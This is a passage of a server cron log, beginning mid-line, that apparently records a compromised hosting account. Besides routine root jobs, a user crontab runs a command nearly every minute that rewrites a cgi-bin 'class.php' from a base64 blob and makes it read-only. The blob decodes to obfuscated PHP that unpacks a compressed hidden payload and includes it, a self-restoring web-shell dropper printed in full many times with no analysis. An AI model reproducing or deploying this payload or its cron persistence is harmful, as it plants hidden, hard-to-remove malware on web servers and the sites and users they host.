"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:41:01 server CROND[20092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:42:01 server CROND[20259]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 17:42:01 server CROND[20260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:43:01 server CROND[20322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:44:01 server CROND[20369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:45:01 server CROND[20423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:45:01 server CROND[20424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:45:01 server CROND[20425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:46:01 server CROND[20542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:47:01 server CROND[20712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:48:01 server CROND[20774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:49:01 server CROND[20830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:50:01 server CROND[20889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:50:01 server CROND[20891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:50:01 server CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 17:50:01 server CROND[20892]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 17:50:01 server CROND[20894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:51:01 server CROND[21014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:52:01 server CROND[21069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:53:01 server CROND[21239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
